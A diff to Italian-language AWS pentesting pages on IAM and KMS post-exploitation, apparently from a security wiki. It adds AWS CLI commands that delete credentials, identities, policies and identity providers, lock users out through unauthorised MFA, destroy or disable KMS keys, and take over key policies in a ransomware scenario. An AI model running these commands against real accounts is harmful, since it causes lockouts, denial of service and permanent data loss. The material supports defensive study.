diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md index b65c8af3a..c2cb9fca0 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md @@ -4,21 +4,21 @@ ## IAM -Per ulteriori informazioni sull'accesso IAM: +Per maggiori informazioni sull'accesso IAM: {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} -## Problema del Deputato Confuso +## Problema del Confused Deputy -Se **consenti a un account esterno (A)** di accedere a un **ruolo** nel tuo account, probabilmente avrai **0 visibilità** su **chi può esattamente accedere a quell'account esterno**. Questo è un problema, perché se un altro account esterno (B) può accedere all'account esterno (A), è possibile che **B possa anche accedere al tuo account**. +Se **permetti a un account esterno (A)** di accedere a un **role** nel tuo account, probabilmente avrai **0 visibilità** su **chi può esattamente accedere a quell'account esterno**. Questo è un problema, perché se un altro account esterno (B) può accedere all'account esterno (A) è possibile che **B possa anche accedere al tuo account**. -Pertanto, quando consenti a un account esterno di accedere a un ruolo nel tuo account, è possibile specificare un `ExternalId`. Questa è una stringa "segreta" che l'account esterno (A) **deve specificare** per **assumere il ruolo nella tua organizzazione**. Poiché l'**account esterno B non conoscerà questa stringa**, anche se ha accesso su A, **non potrà accedere al tuo ruolo**. +Per questo, quando permetti a un account esterno di accedere a un role nel tuo account è possibile specificare un `ExternalId`. Questa è una stringa "segreta" che l'account esterno (A) **deve specificare** per **assume the role in your organization**. Poiché l'**account esterno B non conoscerà questa stringa**, anche se ha accesso ad A **non potrà accedere al tuo role**.
-Tuttavia, nota che questo `ExternalId` "segreto" **non è un segreto**, chiunque possa **leggere la policy di assunzione del ruolo IAM sarà in grado di vederlo**. Ma finché l'account esterno A lo conosce, ma l'account esterno **B non lo conosce**, **impedisce a B di abusare di A per accedere al tuo ruolo**. +Tuttavia, nota che questo `ExternalId` "segreto" è **non è un segreto**, chiunque possa **read the IAM assume role policy will be able to see it**. Ma finché l'account esterno A lo conosce, e l'account esterno **B non lo conosce**, questo **impedisce a B di abusare di A per accedere al tuo role**. Esempio: ```json @@ -39,11 +39,11 @@ Esempio: } ``` > [!WARNING] -> Per un attaccante sfruttare un deputy confuso, dovrà in qualche modo scoprire se i principali dell'account attuale possono impersonare ruoli in altri account. +> Per un attacker che voglia sfruttare un confused deputy, dovrà in qualche modo verificare se i principals dell'account corrente possono impersonare roles in altri account. -### Fiducia Inaspettata +### Trust inattesi -#### Wildcard come principale +#### Wildcard come principal ```json { "Action": "sts:AssumeRole", @@ -51,7 +51,7 @@ Esempio: "Principal": { "AWS": "*" } } ``` -Questa policy **consente a tutti gli AWS** di assumere il ruolo. +Questa policy **consente a tutti i servizi AWS** di assumere il ruolo. #### Servizio come principale ```json @@ -62,9 +62,9 @@ Questa policy **consente a tutti gli AWS** di assumere il ruolo. "Resource": "arn:aws:lambda:000000000000:function:foo" } ``` -Questa policy **consente a qualsiasi account** di configurare il proprio apigateway per chiamare questo Lambda. +Questa policy **consente a qualsiasi account** di configurare il proprio apigateway per chiamare questa Lambda. -#### S3 come principale +#### S3 come principal ```json "Condition": { "ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" }, @@ -73,7 +73,7 @@ Questa policy **consente a qualsiasi account** di configurare il proprio apigate } } ``` -Se un bucket S3 è fornito come principale, poiché i bucket S3 non hanno un ID account, se **hai eliminato il tuo bucket e l'attaccante lo ha creato** nel proprio account, allora potrebbe abusarne. +Se un S3 bucket è dato come principal, dato che gli S3 bucket non hanno un Account ID, se hai **eliminato il tuo bucket e l'attaccante lo ha creato** nel proprio account, allora potrebbe abusarne. #### Non supportato ```json @@ -84,8 +84,81 @@ Se un bucket S3 è fornito come principale, poiché i bucket S3 non hanno un ID "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" } ``` -Un modo comune per evitare problemi di Confused Deputy è l'uso di una condizione con `AWS:SourceArn` per controllare l'ARN di origine. Tuttavia, **alcuni servizi potrebbero non supportarlo** (come CloudTrail secondo alcune fonti). +Un modo comune per evitare i problemi di Confused Deputy è l'uso di una condizione con `AWS:SourceArn` per verificare l'ARN di origine. Tuttavia, **alcuni servizi potrebbero non supportarlo** (per esempio CloudTrail secondo alcune fonti). +### Eliminazione delle credenziali +Con una qualsiasi delle seguenti autorizzazioni — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — un attore può rimuovere access keys, login profiles, chiavi SSH, service-specific credentials, instance profiles, certificati o CloudFront public keys, o dissociare ruoli da instance profiles. Tali azioni possono bloccare immediatamente utenti e applicazioni legittimi e causare denial-of-service o perdita di accesso per i sistemi che dipendono da quelle credenziali, quindi questi permessi IAM devono essere strettamente limitati e monitorati. +```bash +# Remove Access Key of a user +aws iam delete-access-key \ +--user-name \ +--access-key-id AKIAIOSFODNN7EXAMPLE + +## Remove ssh key of a user +aws iam delete-ssh-public-key \ +--user-name \ +--ssh-public-key-id APKAEIBAERJR2EXAMPLE +``` +### Eliminazione delle identità +Con permessi come `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, o `iam:RemoveUserFromGroup`, un attore può eliminare utenti, ruoli o gruppi — o modificare l'appartenenza ai gruppi — rimuovendo identità e tracce associate. Questo può interrompere immediatamente l'accesso per persone e servizi che dipendono da quelle identità, causando denial-of-service o perdita di accesso, quindi queste azioni IAM devono essere strettamente limitate e monitorate. +```bash +# Delete a user +aws iam delete-user \ +--user-name + +# Delete a group +aws iam delete-group \ +--group-name + +# Delete a role +aws iam delete-role \ +--role-name +``` +### +Con una qualunque delle seguenti autorizzazioni — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — un attore può eliminare o scollegare policy gestite/inline, rimuovere versioni di policy o permissions boundaries e dissociare le policy da utenti, gruppi o ruoli. Questo distrugge le autorizzazioni e può alterare il modello dei permessi, causando perdita immediata di accesso o denial-of-service per i principals che dipendevano da quelle policy, quindi queste azioni IAM devono essere strettamente limitate e monitorate. +```bash +# Delete a group policy +aws iam delete-group-policy \ +--group-name \ +--policy-name + +# Delete a role policy +aws iam delete-role-policy \ +--role-name \ +--policy-name +``` +### Federated Identity Deletion +Con `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` e `iam:RemoveClientIDFromOpenIDConnectProvider`, un attore può eliminare OIDC/SAML identity providers o rimuovere client ID. Ciò interrompe l'autenticazione federata, impedendo la validazione dei token e negando immediatamente l'accesso ad utenti e servizi che si basano su SSO fino a quando l'IdP o le configurazioni non vengono ripristinate. +```bash +# Delete OIDCP provider +aws iam delete-open-id-connect-provider \ +--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com + +# Delete SAML provider +aws iam delete-saml-provider \ +--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS +``` +### Attivazione MFA illegittima +Con `iam:EnableMFADevice`, un attore può registrare un dispositivo MFA sull'identità di un utente, impedendo all'utente legittimo di accedere. Una volta abilitato un MFA non autorizzato, l'utente può essere bloccato fino a quando il dispositivo non viene rimosso o reimpostato (nota: se sono registrati più dispositivi MFA, per l'accesso ne è sufficiente uno, quindi questo attacco non avrà effetto nel negare l'accesso). +```bash +aws iam enable-mfa-device \ +--user-name \ +--serial-number arn:aws:iam::111122223333:mfa/alice \ +--authentication-code1 123456 \ +--authentication-code2 789012 +``` +### Certificate/Key Metadata Tampering +Con `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, un attore può modificare lo stato o i metadati delle chiavi pubbliche e dei certificati. Marcando le chiavi/certificati come inattivi o alterando i riferimenti, può interrompere l'autenticazione SSH, invalidare le validazioni X.509/TLS e interrompere immediatamente i servizi che dipendono da quelle credenziali, causando perdita di accesso o disponibilità. +```bash +aws iam update-ssh-public-key \ +--user-name \ +--ssh-public-key-id APKAEIBAERJR2EXAMPLE \ +--status Inactive + +aws iam update-server-certificate \ +--server-certificate-name \ +--new-path /prod/ +``` ## Riferimenti - [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md index 3ca3f8c2e..df7bcc6a0 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md @@ -4,7 +4,7 @@ ## KMS -Per ulteriori informazioni controlla: +Per maggiori informazioni consulta: {{#ref}} ../aws-services/aws-kms-enum.md @@ -12,15 +12,15 @@ Per ulteriori informazioni controlla: ### Crittografia/Decrittografia delle informazioni -`fileb://` e `file://` sono schemi URI utilizzati nei comandi AWS CLI per specificare il percorso ai file locali: +`fileb://` and `file://` sono schemi URI usati nei comandi AWS CLI per specificare il percorso ai file locali: - `fileb://:` Legge il file in modalità binaria, comunemente usato per file non di testo. -- `file://:` Legge il file in modalità testo, tipicamente usato per file di testo semplice, script o JSON che non hanno requisiti di codifica speciali. +- `file://:` Legge il file in modalità testo, tipicamente usato per file di testo semplice, script o JSON che non ha requisiti di codifica speciali. > [!TIP] -> Nota che se vuoi decrittografare alcuni dati all'interno di un file, il file deve contenere i dati binari, non dati codificati in base64. (fileb://) +> Nota che se vuoi decrittare dei dati all'interno di un file, il file deve contenere i dati binari, non dati codificati in base64. (fileb://) -- Utilizzando una chiave **simmetrica** +- Usando una chiave **simmetrica** ```bash # Encrypt data aws kms encrypt \ @@ -38,7 +38,7 @@ aws kms decrypt \ --query Plaintext | base64 \ --decode ``` -- Utilizzando una **chiave asimmetrica**: +- Utilizzando una chiave **asimmetrica**: ```bash # Encrypt data aws kms encrypt \ @@ -60,14 +60,14 @@ aws kms decrypt \ ``` ### KMS Ransomware -Un attaccante con accesso privilegiato su KMS potrebbe modificare la policy KMS delle chiavi e **concedere al proprio account accesso su di esse**, rimuovendo l'accesso concesso all'account legittimo. +Un attaccante con accesso privilegiato a KMS potrebbe modificare la KMS policy delle chiavi e **concedere al proprio account l'accesso su di esse**, rimuovendo l'accesso concesso all'account legittimo. -In questo modo, gli utenti dell'account legittimo non saranno in grado di accedere a nessuna informazione di alcun servizio che è stato crittografato con quelle chiavi, creando un ransomware facile ma efficace sull'account. +In seguito, gli utenti dell'account legittimo non potranno accedere a nessuna informazione di alcun servizio crittografata con quelle chiavi, creando un ransomware semplice ma efficace sull'account. > [!WARNING] -> Nota che **le chiavi gestite da AWS non sono colpite** da questo attacco, solo **le chiavi gestite dal cliente**. +> Nota che **AWS managed keys non sono interessate** da questo attacco, solo **Customer managed keys**. -> Nota anche la necessità di utilizzare il parametro **`--bypass-policy-lockout-safety-check`** (l'assenza di questa opzione nella console web rende questo attacco possibile solo dalla CLI). +> Inoltre, nota la necessità di usare il parametro **`--bypass-policy-lockout-safety-check`** (la mancanza di questa opzione nella console web rende questo attacco possibile solo dalla CLI). ```bash # Force policy change aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ @@ -92,34 +92,91 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ } ``` > [!CAUTION] -> Nota che se cambi quella policy e dai accesso solo a un account esterno, e poi da questo account esterno provi a impostare una nuova policy per **ridare accesso all'account originale, non sarai in grado di farlo perché l'azione Put Policy non può essere eseguita da un account diverso**. +> Nota che se cambi quella policy e concedi accesso solo a un account esterno, e poi da questo account esterno provi a impostare una nuova policy per **restituire l'accesso all'account originale, non ci riuscirai perché l'azione Put Polocy non può essere eseguita da un cross account**.
-### Ransomware KMS Generico +### Generic KMS Ransomware -#### Ransomware KMS Globale +Esiste un altro modo per eseguire un KMS Ransomware globale, che comporterebbe i seguenti passaggi: -C'è un altro modo per eseguire un ransomware KMS globale, che comporterebbe i seguenti passaggi: +- Crea una nuova **key with a key material** importata dall'attaccante +- **Re-encrypt older data** della vittima che erano cifrati con la versione precedente, utilizzando quella nuova. +- **Delete the KMS key** +- Ora solo l'attaccante, che possiede il key material originale, potrebbe essere in grado di decriptare i dati cifrati -- Creare una nuova **chiave con un materiale di chiave** importato dall'attaccante -- **Ri-criptare i dati più vecchi** criptati con la versione precedente con la nuova. -- **Eliminare la chiave KMS** -- Ora solo l'attaccante, che ha il materiale di chiave originale, potrebbe essere in grado di decriptare i dati criptati +### Delete Keys via kms:DeleteImportedKeyMaterial -### Distruggere chiavi +Con il permesso `kms:DeleteImportedKeyMaterial`, un attore può cancellare il key material importato dalle CMKs con `Origin=EXTERNAL` (CMKs che hanno importato il loro key material), rendendole incapaci di decriptare i dati. Questa azione è distruttiva e irreversibile a meno che non venga re-importato del materiale compatibile, permettendo a un attaccante di causare effettivamente una perdita di dati simile a ransomware rendendo le informazioni cifrate permanentemente inaccessibili. ```bash -# Destoy they key material previously imported making the key useless -aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab +aws kms delete-imported-key-material --key-id +``` +### Distruggere le chiavi +Distruggendo le chiavi è possibile eseguire un DoS. +```bash # Schedule the destoy of a key (min wait time is 7 days) aws kms schedule-key-deletion \ --key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ --pending-window-in-days 7 ``` > [!CAUTION] -> Nota che AWS ora **prevenire che le azioni precedenti vengano eseguite da un account diverso:** +> Nota che AWS ora **impedisce che le azioni precedenti vengano eseguite da un cross-account:** +### Modificare o eliminare Alias +Questo attacco elimina o reindirizza gli alias di AWS KMS, interrompendo la risoluzione delle chiavi e causando malfunzionamenti immediati in qualsiasi servizio che si basi su quegli alias, con conseguente denial-of-service. Con permessi come `kms:DeleteAlias` o `kms:UpdateAlias` un attaccante può rimuovere o ripuntare gli alias e interrompere le operazioni crittografiche (es., encrypt, describe). Qualsiasi servizio che faccia riferimento all'alias invece che all'ID della chiave può non funzionare fino a quando l'alias non venga ripristinato o rimappato correttamente. +```bash +# Delete Alias +aws kms delete-alias --alias-name alias/ + +# Update Alias +aws kms update-alias \ +--alias-name alias/ \ +--target-key-id +``` +### Cancel Key Deletion +Con permessi come `kms:CancelKeyDeletion` e `kms:EnableKey`, un attore può annullare una cancellazione programmata di una AWS KMS customer master key e successivamente riattivarla. Così facendo la chiave viene recuperata (inizialmente in stato Disabled) e ripristina la sua capacità di decifrare dati precedentemente protetti, permettendo exfiltration. +```bash +# Firts cancel de deletion +aws kms cancel-key-deletion \ +--key-id + +## Second enable the key +aws kms enable-key \ +--key-id +``` +### Disable Key +Con il permesso `kms:DisableKey`, un attore può disabilitare una AWS KMS customer master key (CMK), impedendone l'uso per la cifratura o la decifratura. Questo interrompe l'accesso per qualsiasi servizio che dipende da quella CMK e può causare interruzioni immediate o un denial-of-service fino a quando la chiave non viene riabilitata. +```bash +aws kms disable-key \ +--key-id +``` +### Derivare Shared Secret +Con il permesso `kms:DeriveSharedSecret`, un attore può usare una private key detenuta da KMS insieme a una public key fornita dall'utente per calcolare un ECDH shared secret. +```bash +aws kms derive-shared-secret \ +--key-id \ +--public-key fileb:/// \ +--key-agreement-algorithm +``` +### Impersonation via kms:Sign +Con il permesso `kms:Sign`, un attore può usare una CMK memorizzata in KMS per firmare crittograficamente i dati senza esporre la chiave privata, producendo firme valide che possono abilitare impersonation o autorizzare azioni malevole. +```bash +aws kms sign \ +--key-id \ +--message fileb:// \ +--signing-algorithm \ +--message-type RAW +``` +### DoS with Custom Key Stores +Con permessi come `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, o `kms:UpdateCustomKeyStore`, un attore può modificare, disconnettere o eliminare un AWS KMS Custom Key Store (CKS), rendendo inoperabili le sue chiavi master. Ciò interrompe le operazioni di cifratura, decifratura e firma per qualsiasi servizio che si appoggi a quelle chiavi e può causare un DoS immediato. Limitare e monitorare tali permessi è quindi fondamentale. +```bash +aws kms delete-custom-key-store --custom-key-store-id + +aws kms disconnect-custom-key-store --custom-key-store-id + +aws kms update-custom-key-store --custom-key-store-id --new-custom-key-store-name --key-store-password +```
{{#include ../../../banners/hacktricks-training.md}}